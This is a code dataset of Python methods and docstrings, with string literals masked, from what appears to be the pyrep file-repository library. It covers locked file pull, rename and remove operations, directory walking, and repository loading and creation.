successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not updated.", "id": "f13917:c1:m42"}
{"signature": "def update(self, *args, **kwargs):", "body": "return self.update_file(*args, **kwargs)<EOL>", "docstring": "Alias to update_file", "id": "f13917:c1:m43"}
{"signature": "@path_required<EOL><INDENT>def pull_file(self, relativePath, pull=None, update=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>realPath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(realPath)<EOL>isRepoFile,fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>if not isRepoFile:<EOL><INDENT>fileOnDisk  = [\"<STR_LIT>\",\"<STR_LIT>\"][fileOnDisk]<EOL>infoOnDisk  = [\"<STR_LIT>\",\"<STR_LIT>\"%self.__fileInfo%fName][infoOnDisk]<EOL>classOnDisk = [\"<STR_LIT>\",\"<STR_LIT>\"%self.__fileClass%fName][classOnDisk]<EOL>assert False, \"<STR_LIT>\"%(relativePath,fileOnDisk,infoOnDisk,classOnDisk)<EOL><DEDENT>assert fileOnDisk, \"<STR_LIT>\"%(relativePath,)<EOL>if not infoOnDisk:<EOL><INDENT>if pull is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(self.__fileInfo%fName))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%(relativePath,(self.__fileInfo%fName)))<EOL><DEDENT><DEDENT>LF =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LF.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,relativePath)<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>error = None<EOL>try:<EOL><INDENT>if pull is not None:<EOL><INDENT>pull = get_pull_method(pull)<EOL><DEDENT>else:<EOL><INDENT>with open(os.path.join(fPath,self.__fileInfo%fName), '<STR_LIT:rb>') as fd:<EOL><INDENT>info = pickle.load(fd)<EOL><DEDENT>pull = info['<STR_LIT>']<EOL><DEDENT>my_exec( pull.replace(\"<STR_LIT>\", str(realPath) ), locals=locals(), globals=globals(), description='<STR_LIT>' )<EOL><DEDENT>except Exception as err:<EOL><INDENT>LF.release_lock()<EOL>m = str(pull).replace(\"<STR_LIT>\", str(realPath) )<EOL>error = \"<STR_LIT>\"%(m,err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>LF.release_lock()<EOL>assert error is None, \"<STR_LIT>\"%(ntrials, error)<EOL>return locals()['<STR_LIT>']<EOL>", "docstring": "Pull a file's data from the Repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path from\n       where to pull the file.\n    #. pull (None, string): The pulling method.\n       If None, the pull method saved in the file info will be used.\n       If a string is given, the string should include all the necessary\n       imports, a '$FILE_PATH' that replaces the absolute file path when\n       the dumping will be performed and finally a PULLED_DATA variable.\n       e.g \"import numpy as np; PULLED_DATA=np.loadtxt(fname='$FILE_PATH')\"\n    #. update (boolean): If pull is not None, Whether to update the pull\n       method stored in the file info by the given pull method.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. data (object): The pulled data from the file.", "id": "f13917:c1:m44"}
{"signature": "def pull(self, *args, **kwargs):", "body": "return self.pull_file(*args, **kwargs)<EOL>", "docstring": "Alias to pull_file", "id": "f13917:c1:m45"}
{"signature": "@path_required<EOL><INDENT>def rename_file(self, relativePath, newRelativePath,<EOL>force=False, raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(force, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>realPath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(realPath)<EOL>newRelativePath = self.to_repo_relative_path(path=newRelativePath, split=False)<EOL>newRealPath     = os.path.join(self.__path,newRelativePath)<EOL>nfPath, nfName  = os.path.split(newRealPath)<EOL>LO =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LO.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,relativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>try:<EOL><INDENT>success, reason = self.add_directory(nfPath, raiseError=False, ntrials=ntrials)<EOL><DEDENT>except Exception as err:<EOL><INDENT>reason  = \"<STR_LIT>\"%(str(err))<EOL>success = False<EOL><DEDENT>if not success:<EOL><INDENT>LO.release_lock()<EOL>assert not raiseError, reason<EOL>return False, reason<EOL><DEDENT>LN =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(nfPath,self.__fileLock%nfName))<EOL>acquired, code = LN.acquire_lock()<EOL>if not acquired:<EOL><INDENT>LO.release_lock()<EOL>error = \"<STR_LIT>\"%(code,newRelativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>renamed = False<EOL>error   = None<EOL>try:<EOL><INDENT>isRepoFile,fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>assert isRepoFile,  \"<STR_LIT>\"%(relativePath,)<EOL>assert fileOnDisk,  \"<STR_LIT>\"%(relativePath,)<EOL>assert infoOnDisk,  \"<STR_LIT>\"%self.__fileInfo%fName<EOL>assert classOnDisk, \"<STR_LIT>\"%self.__fileClass%fName<EOL>nisRepoFile,nfileOnDisk,ninfoOnDisk,nclassOnDisk = self.is_repository_file(newRelativePath)<EOL>assert not nisRepoFile or force, \"<STR_LIT>\"<EOL>oDirList = self.__get_repository_directory(fPath)<EOL>nDirList = self.__get_repository_directory(nfPath)<EOL>if os.path.isfile(newRealPath):<EOL><INDENT>os.remove(newRealPath)<EOL><DEDENT>if os.path.isfile(os.path.join(nfPath,self.__fileInfo%nfName)):<EOL><INDENT>os.remove(os.path.join(nfPath,self.__fileInfo%nfName))<EOL><DEDENT>if os.path.isfile(os.path.join(nfPath,self.__fileClass%nfName)):<EOL><INDENT>os.remove(os.path.join(nfPath,self.__fileClass%nfName))<EOL><DEDENT>os.rename(realPath, newRealPath)<EOL>os.rename(os.path.join(fPath,self.__fileInfo%fName), os.path.join(nfPath,self.__fileInfo%nfName))<EOL>os.rename(os.path.join(fPath,self.__fileClass%fName), os.path.join(nfPath,self.__fileClass%nfName))<EOL>findex = oDirList.index(fName)<EOL>oDirList.pop(findex)<EOL>if nfName not in nDirList:<EOL><INDENT>nDirList.append(nfName)<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>renamed = False<EOL>error = str(err)<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], str(error)))<EOL><DEDENT>else:<EOL><INDENT>renamed = True<EOL>break<EOL><DEDENT><DEDENT>LO.release_lock()<EOL>LN.release_lock()<EOL>try:<EOL><INDENT>if os.path.isfile(os.path.join(fPath,self.__fileLock%fName)):<EOL><INDENT>os.remove(os.path.join(fPath,self.__fileLock%fName))<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>assert renamed or not raiseError, \"<STR_LIT>\"%(relativePath, newRelativePath, ntrials, error,)<EOL>return renamed, error<EOL>", "docstring": "Rename a file in the repository. It insures renaming the file in the system.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of\n       the file that needst to be renamed.\n    #. newRelativePath (string): The new relative to the repository path\n       of where to move and rename the file.\n    #. force (boolean): Whether to force renaming even when another\n       repository file exists. In this case old repository file\n       will be removed from the repository and the system as well.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.\n\n:Returns:\n    #. success (boolean): Whether renaming the file was successful.\n    #. message (None, string): Some explanatory message or error reason\n       why directory was not updated.", "id": "f13917:c1:m46"}
{"signature": "@path_required<EOL><INDENT>def remove_file(self, relativePath, removeFromSystem=False,<EOL>raiseError=True, ntrials=<NUM_LIT:3>):<DEDENT>", "body": "assert isinstance(raiseError, bool), \"<STR_LIT>\"<EOL>assert isinstance(removeFromSystem, bool), \"<STR_LIT>\"<EOL>assert isinstance(ntrials, int), \"<STR_LIT>\"<EOL>assert ntrials><NUM_LIT:0>, \"<STR_LIT>\"<EOL>relativePath = self.to_repo_relative_path(path=relativePath, split=False)<EOL>realPath     = os.path.join(self.__path,relativePath)<EOL>fPath, fName = os.path.split(realPath)<EOL>LF =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(fPath,self.__fileLock%fName))<EOL>acquired, code = LF.acquire_lock()<EOL>if not acquired:<EOL><INDENT>error = \"<STR_LIT>\"%(code,relativePath)<EOL>assert not raiseError, error<EOL>return False, error<EOL><DEDENT>for _trial in range(ntrials):<EOL><INDENT>removed = False<EOL>message = []<EOL>try:<EOL><INDENT>isRepoFile,fileOnDisk, infoOnDisk, classOnDisk = self.is_repository_file(relativePath)<EOL>if not isRepoFile:<EOL><INDENT>message(\"<STR_LIT>\"%(relativePath,))<EOL>if fileOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\")<EOL><DEDENT>if infoOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\"%self.__fileInfo%fName)<EOL><DEDENT>if classOnDisk:<EOL><INDENT>message.append(\"<STR_LIT>\"%self.__fileClass%fName)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dirList = self.__get_repository_directory(fPath)<EOL>findex  = dirList.index(fName)<EOL>dirList.pop(findex)<EOL>if os.path.isfile(realPath):<EOL><INDENT>os.remove(realPath)<EOL><DEDENT>if os.path.isfile(os.path.join(fPath,self.__fileInfo%fName)):<EOL><INDENT>os.remove(os.path.join(fPath,self.__fileInfo%fName))<EOL><DEDENT>if os.path.isfile(os.path.join(fPath,self.__fileClass%fName)):<EOL><INDENT>os.remove(os.path.join(fPath,self.__fileClass%fName))<EOL><DEDENT><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>removed = False<EOL>message.append(str(err))<EOL>if self.DEBUG_PRINT_FAILED_TRIALS: print(\"<STR_LIT>\"%(_trial, inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>], '<STR_LIT:\\n>'.join(message)))<EOL><DEDENT>else:<EOL><INDENT>removed = True<EOL>break<EOL><DEDENT><DEDENT>LF.release_lock()<EOL>try:<EOL><INDENT>if os.path.isfile(os.path.join(fPath,self.__fileLock%fName)):<EOL><INDENT>os.remove(os.path.join(fPath,self.__fileLock%fName))<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>assert removed or not raiseError, \"<STR_LIT>\"%(relativePath, ntrials, '<STR_LIT:\\n>'.join(message),)<EOL>return removed, '<STR_LIT:\\n>'.join(message)<EOL>", "docstring": "Remove file from repository.\n\n:Parameters:\n    #. relativePath (string): The relative to the repository path of the\n       file to remove.\n    #. removeFromSystem (boolean): Whether to remove file from disk as\n       well.\n    #. raiseError (boolean): Whether to raise encountered error instead\n       of returning failure.\n    #. ntrials (int): After aquiring all locks, ntrials is the maximum\n       number of trials allowed before failing.\n       In rare cases, when multiple processes\n       are accessing the same repository components, different processes\n       can alter repository components between successive lock releases\n       of some other process. Bigger number of trials lowers the\n       likelyhood of failure due to multiple processes same time\n       alteration.", "id": "f13917:c1:m47"}
{"signature": "def path_required(func):", "body": "@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>if self.path is None:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>return func(self, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate methods when repository path is required.", "id": "f13923:m0"}
{"signature": "def acquire_lock(func):", "body": "@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>with self.locker as r:<EOL><INDENT>acquired, code, _  = r<EOL>if acquired:<EOL><INDENT>try:<EOL><INDENT>r = func(self, *args, **kwargs)<EOL><DEDENT>except Exception as err:<EOL><INDENT>e = str(err)<EOL><DEDENT>else:<EOL><INDENT>e = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(code,func.__name__) )<EOL>e = None<EOL>r = None<EOL><DEDENT><DEDENT>if e is not None:<EOL><INDENT>traceback.print_stack()<EOL>raise Exception(e)<EOL><DEDENT>return r<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate methods when locking repository is required.", "id": "f13923:m1"}
{"signature": "def sync_required(func):", "body": "@wraps(func)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>if not self._keepSynchronized:<EOL><INDENT>r = func(self, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>state = self._load_state()<EOL>if state is None:<EOL><INDENT>r = func(self, *args, **kwargs)<EOL><DEDENT>elif state == self.state:<EOL><INDENT>r = func(self, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%self.path)<EOL>r = None<EOL><DEDENT><DEDENT>return r<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorate methods when synchronizing repository is required.", "id": "f13923:m2"}
{"signature": "def get_pickling_errors(obj, seen=None):", "body": "if seen == None:<EOL><INDENT>seen = []<EOL><DEDENT>if hasattr(obj, \"<STR_LIT>\"):<EOL><INDENT>state = obj.__getstate__()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if state == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if isinstance(state,tuple):<EOL><INDENT>if not isinstance(state[<NUM_LIT:0>], dict):<EOL><INDENT>state=state[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>state=state[<NUM_LIT:0>].update(state[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>result = {}<EOL>for i in state:<EOL><INDENT>try:<EOL><INDENT>pickle.dumps(state[i], protocol=<NUM_LIT:2>)<EOL><DEDENT>except pickle.PicklingError as e:<EOL><INDENT>if not state[i] in seen:<EOL><INDENT>seen.append(state[i])<EOL>result[i]=get_pickling_errors(state[i],seen)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Investigate pickling errors.", "id": "f13923:m3"}
{"signature": "@property<EOL><INDENT>def state(self):<DEDENT>", "body": "return self.__state<EOL>", "docstring": "Repository state.", "id": "f13923:c0:m10"}
{"signature": "@property<EOL><INDENT>def locker(self):<DEDENT>", "body": "return self.__locker<EOL>", "docstring": "Repository locker manager.", "id": "f13923:c0:m11"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return self.__path<EOL>", "docstring": "The repository instance path which points to the folder and\n        directory where .pyrepinfo is.", "id": "f13923:c0:m12"}
{"signature": "@property<EOL><INDENT>def info(self):<DEDENT>", "body": "return copy.deepcopy( self.__info )<EOL>", "docstring": "The unique user defined information of this repository instance.", "id": "f13923:c0:m13"}
{"signature": "@property<EOL><INDENT>def version(self):<DEDENT>", "body": "return dict.__getitem__(self,\"<STR_LIT>\")<EOL>", "docstring": "The version of this repository.", "id": "f13923:c0:m14"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return dict.__getitem__(self,\"<STR_LIT>\")<EOL>", "docstring": "The universally unique id of this repository.", "id": "f13923:c0:m15"}
{"signature": "def set_ACID(self, ACID):", "body": "assert isinstance(ACID, bool), \"<STR_LIT>\"<EOL>self.__ACID = ACID<EOL>", "docstring": "Set the gobal ACID poperty of the repository.\n\n:parameters:\n    #. ACID (boolean): Whether to ensure the ACID (Atomicity, Consistency, Isolation, Durability)\n       properties of the repository upon dumping a file. This is ensured by dumping the file in\n       a temporary path first and then moving it to the desired path.", "id": "f13923:c0:m16"}
{"signature": "def get_list_representation(self):", "body": "if self.__path is None:<EOL><INDENT>return []<EOL><DEDENT>repr = [ self.__path+\"<STR_LIT>\"+'<STR_LIT:U+002C>'.join(list(dict.__getitem__(self, '<STR_LIT>')))+'<STR_LIT:]>' ]<EOL>for directory in sorted(list(self.walk_directories_relative_path())):<EOL><INDENT>directoryRepr = os.path.normpath(directory)<EOL>dirInfoDict, errorMessage = self.get_directory_info(directory)<EOL>assert dirInfoDict is not None, errorMessage<EOL>directoryRepr += \"<STR_LIT>\"+'<STR_LIT:U+002C>'.join( list(dict.__getitem__(dirInfoDict, '<STR_LIT>')))+'<STR_LIT:]>'<EOL>repr.append(directoryRepr)<EOL><DEDENT>return repr<EOL>", "docstring": "Gets a representation of the Repository content in a list of directories(files) format.\n\n:Returns:\n    #. repr (list): The list representation of the Repository content.", "id": "f13923:c0:m17"}
{"signature": "def walk_files_relative_path(self, relativePath=\"<STR_LIT>\"):", "body": "def walk_files(directory, relativePath):<EOL><INDENT>directories = dict.__getitem__(directory, '<STR_LIT>')<EOL>files       = dict.__getitem__(directory, '<STR_LIT>')<EOL>for f in sorted(files):<EOL><INDENT>yield os.path.join(relativePath, f)<EOL><DEDENT>for k in sorted(dict.keys(directories)):<EOL><INDENT>path = os.path.join(relativePath, k)<EOL>dir  = directories.__getitem__(k)<EOL>for e in walk_files(dir, path):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>dir, errorMessage = self.get_directory_info(relativePath)<EOL>assert dir is not None, errorMessage<EOL>return walk_files(dir, relativePath='<STR_LIT>')<EOL>", "docstring": "Walk the repository and yield all found files relative path joined with file name.\n\n:parameters:\n    #. relativePath (str): The relative path from which start the walk.", "id": "f13923:c0:m18"}
{"signature": "def walk_files_info(self, relativePath=\"<STR_LIT>\"):", "body": "def walk_files(directory, relativePath):<EOL><INDENT>directories = dict.__getitem__(directory, '<STR_LIT>')<EOL>files       = dict.__getitem__(directory, '<STR_LIT>')<EOL>for fname in sorted(files):<EOL><INDENT>info = dict.__getitem__(files,fname)<EOL>yield os.path.join(relativePath, fname), info<EOL><DEDENT>for k in sorted(dict.keys(directories)):<EOL><INDENT>path = os.path.join(relativePath, k)<EOL>dir  = dict.__getitem__(directories, k)<EOL>for e in walk_files(dir, path):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>dir, errorMessage = self.get_directory_info(relativePath)<EOL>assert dir is not None, errorMessage<EOL>return walk_files(dir, relativePath='<STR_LIT>')<EOL>", "docstring": "Walk the repository and yield tuples as the following:\\n\n(relative path to relativePath joined with file name, file info dict).\n\n:parameters:\n    #. relativePath (str): The relative path from which start the walk.", "id": "f13923:c0:m19"}
{"signature": "def walk_directories_relative_path(self, relativePath=\"<STR_LIT>\"):", "body": "def walk_directories(directory, relativePath):<EOL><INDENT>directories = dict.__getitem__(directory, '<STR_LIT>')<EOL>dirNames = dict.keys(directories)<EOL>for d in sorted(dirNames):<EOL><INDENT>yield os.path.join(relativePath, d)<EOL><DEDENT>for k in sorted(dict.keys(directories)):<EOL><INDENT>path = os.path.join(relativePath, k)<EOL>dir  = dict.__getitem__(directories, k)<EOL>for e in walk_directories(dir, path):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>dir, errorMessage = self.get_directory_info(relativePath)<EOL>assert dir is not None, errorMessage<EOL>return walk_directories(dir, relativePath='<STR_LIT>')<EOL>", "docstring": "Walk repository and yield all found directories relative path\n\n:parameters:\n    #. relativePath (str): The relative path from which start the walk.", "id": "f13923:c0:m20"}
{"signature": "def walk_directories_info(self, relativePath=\"<STR_LIT>\"):", "body": "def walk_directories(directory, relativePath):<EOL><INDENT>directories = dict.__getitem__(directory, '<STR_LIT>')<EOL>for fname in sorted(directories):<EOL><INDENT>info = dict.__getitem__(directories,fname)<EOL>yield os.path.join(relativePath, fname), info<EOL><DEDENT>for k in sorted(dict.keys(directories)):<EOL><INDENT>path = os.path.join(relativePath, k)<EOL>dir  = dict.__getitem__(directories, k)<EOL>for e in walk_directories(dir, path):<EOL><INDENT>yield e<EOL><DEDENT><DEDENT><DEDENT>dir, errorMessage = self.get_directory_info(relativePath)<EOL>assert dir is not None, errorMessage<EOL>return walk_directories(dir, relativePath='<STR_LIT>')<EOL>", "docstring": "Walk repository and yield all found directories relative path.\n\n:parameters:\n    #. relativePath (str): The relative path from which start the walk.", "id": "f13923:c0:m21"}
{"signature": "def walk_directory_files_relative_path(self, relativePath=\"<STR_LIT>\"):", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>for fname in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>yield os.path.join(relativePath, fname)<EOL><DEDENT>", "docstring": "Walk a certain directory in repository and yield all found\nfiles relative path joined with file name.\n\n:parameters:\n    #. relativePath (str): The relative path of the directory.", "id": "f13923:c0:m22"}
{"signature": "def walk_directory_files_info(self, relativePath=\"<STR_LIT>\"):", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>for fname in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>yield os.path.join(relativePath, fname),  dict.__getitem__(dirInfoDict, \"<STR_LIT>\")[fname]<EOL><DEDENT>", "docstring": "Walk a certain directory in repository and yield tuples as the following:\\n\n(relative path joined with file name, file info dict).\n\n:parameters:\n    #. relativePath (str): The relative path of the directory.", "id": "f13923:c0:m23"}
{"signature": "def walk_directory_directories_relative_path(self, relativePath=\"<STR_LIT>\"):", "body": "<EOL>errorMessage = \"<STR_LIT>\"<EOL>relativePath = os.path.normpath(relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>for dname in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>yield os.path.join(relativePath, dname)<EOL><DEDENT>", "docstring": "Walk a certain directory in repository and yield all found directories relative path.\n\n:parameters:\n    #. relativePath (str): The relative path of the directory.", "id": "f13923:c0:m24"}
{"signature": "def walk_directory_directories_info(self, relativePath=\"<STR_LIT>\"):", "body": "<EOL>relativePath = os.path.normpath(relativePath)<EOL>dirInfoDict, errorMessage = self.get_directory_info(relativePath)<EOL>assert dirInfoDict is not None, errorMessage<EOL>for fname in dict.__getitem__(dirInfoDict, \"<STR_LIT>\"):<EOL><INDENT>yield os.path.join(relativePath, fname), dict.__getitem__(dirInfoDict, \"<STR_LIT>\")[fname]<EOL><DEDENT>", "docstring": "Walk a certain directory in repository and yield tuples as the following:\\n\n(relative path joined with directory name, file info dict).\n\n:parameters:\n    #. relativePath (str): The relative path of the directory.", "id": "f13923:c0:m25"}
{"signature": "@acquire_lock<EOL><INDENT>def synchronize(self, verbose=False):<DEDENT>", "body": "if self.__path is None:<EOL><INDENT>return<EOL><DEDENT>for dirPath in sorted(list(self.walk_directories_relative_path())):<EOL><INDENT>realPath = os.path.join(self.__path, dirPath)<EOL>if os.path.isdir(realPath):<EOL><INDENT>continue<EOL><DEDENT>if verbose: warnings.warn(\"<STR_LIT>\"%realPath)<EOL>keys = dirPath.split(os.sep)<EOL>dirInfoDict = self<EOL>for idx in range(len(keys)-<NUM_LIT:1>):<EOL><INDENT>dirs = dict.get(dirInfoDict, '<STR_LIT>', None)<EOL>if dirs is None: break<EOL>dirInfoDict = dict.get(dirs, keys[idx], None)<EOL>if dirInfoDict is None: break<EOL><DEDENT>if dirInfoDict is not None:<EOL><INDENT>dirs = dict.get(dirInfoDict, '<STR_LIT>', None)<EOL>if dirs is not None:<EOL><INDENT>dict.pop( dirs, keys[-<NUM_LIT:1>], None )<EOL><DEDENT><DEDENT><DEDENT>for filePath in sorted(list(self.walk_files_relative_path())):<EOL><INDENT>realPath = os.path.join(self.__path, filePath)<EOL>if os.path.isfile( realPath ):<EOL><INDENT>continue<EOL><DEDENT>if verbose: warnings.warn(\"<STR_LIT>\"%realPath)<EOL>keys = filePath.split(os.sep)<EOL>dirInfoDict = self<EOL>for idx in range(len(keys)-<NUM_LIT:1>):<EOL><INDENT>dirs = dict.get(dirInfoDict, '<STR_LIT>', None)<EOL>if dirs is None: break<EOL>dirInfoDict = dict.get(dirs, keys[idx], None)<EOL>if dirInfoDict is None: break<EOL><DEDENT>if dirInfoDict is not None:<EOL><INDENT>files = dict.get(dirInfoDict, '<STR_LIT>', None)<EOL>if files is not None:<EOL><INDENT>dict.pop( files, keys[-<NUM_LIT:1>], None )<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Synchronizes the Repository information with the directory.\nAll registered but missing files and directories in the directory,\nwill be automatically removed from the Repository.\n\n:parameters:\n    #. verbose (boolean): Whether to be warn and inform about any abnormalities.", "id": "f13923:c0:m26"}
{"signature": "def load_repository(self, path):", "body": "<EOL>if path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>repoPath = os.path.realpath( os.path.expanduser(path) )<EOL>if not self.is_repository(repoPath):<EOL><INDENT>raise Exception(\"<STR_LIT>\"%str(repoPath))<EOL><DEDENT>repoInfoPath = os.path.join(repoPath, \"<STR_LIT>\")<EOL>try:<EOL><INDENT>fd = open(repoInfoPath, '<STR_LIT:rb>')<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>L =  Locker(filePath=None, lockPass=str(uuid.uuid1()), lockPath=os.path.join(repoPath, \"<STR_LIT>\"))<EOL>acquired, code = L.acquire_lock()<EOL>if not acquired:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%(code,) )<EOL>return<EOL><DEDENT>try:<EOL><INDENT>try:<EOL><INDENT>repo = pickle.load( fd )<EOL><DEDENT>except Exception as e:<EOL><INDENT>fd.close()<EOL>raise Exception(\"<STR_LIT>\"%e)<EOL><DEDENT>finally:<EOL><INDENT>fd.close()<EOL><DEDENT>if not isinstance(repo, Repository):<EOL><INDENT>raise Exception(\"<STR_LIT>\"%s)<EOL><DEDENT>else:<EOL><INDENT>self.__reset_repository()<EOL>self.__update_repository(repo)<EOL>self.__path = repoPath<EOL><DEDENT>self.__state = self._get_or_create_state()<EOL><DEDENT>except Exception as e:<EOL><INDENT>L.release_lock()<EOL>raise Exception(e)<EOL><DEDENT>finally:<EOL><INDENT>L.release_lock()<EOL><DEDENT>self.__locker = L<EOL>return self<EOL>", "docstring": "Load repository from a directory path and update the current instance.\n\n:Parameters:\n    #. path (string): The path of the directory from where to load the repository.\n       If '.' or an empty string is passed, the current working directory will be used.\n\n:Returns:\n     #. repository (pyrep.Repository): returns self repository with loaded data.", "id": "f13923:c0:m27"}
{"signature": "def connect(self, path):", "body": "return self.load_repository(path)<EOL>", "docstring": "Alias to load_repository", "id": "f13923:c0:m28"}
{"signature": "def create_repository(self, path, info=None, verbose=True):", "body": "try:<EOL><INDENT>info = copy.deepcopy( info )<EOL><DEDENT>except:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if path.strip() in ('<STR_LIT>','<STR_LIT:.>'):<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>realPath = os.path.realpath( os.path.expanduser(path) )<EOL>if not os.path.isdir(realPath):<EOL><INDENT>os.makedirs(realPath)<EOL><DEDENT>self.__path = realPath<EOL>self.__info = info<EOL>if self.is_repository(realPath):<EOL><INDENT>if verbose:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"%path)<EOL><DEDENT><DEDENT>self.__reset_repository()<EOL>lp = '<STR_LIT>'<EOL>if self.__path is not None:<EOL><INDENT>lp = os.path.join(self.__path,lp)<EOL><DEDENT>self.__locker.set_lock_path(lp)<EOL>self.__locker.set_lock_pass(str(uuid.uuid1()))<EOL>self.save()<EOL>", "docstring": "create a repository in a directory.\nThis method insures the creation of the directory in the system if it is missing.\\n\n\n**N.B. This method erases existing pyrep repository in the path but not the repository files.**\n\n:Parameters:\n    #. path (string): The real absolute path where to create the Repository.\n       If '.' or an empty string is passed, the current working directory will be used.\n    #. info (None, object): Any information that can identify the repository.\n    #. verbose (boolean): Whether to be warn and informed about any abnormalities.", "id": "f13923:c0:m29"}
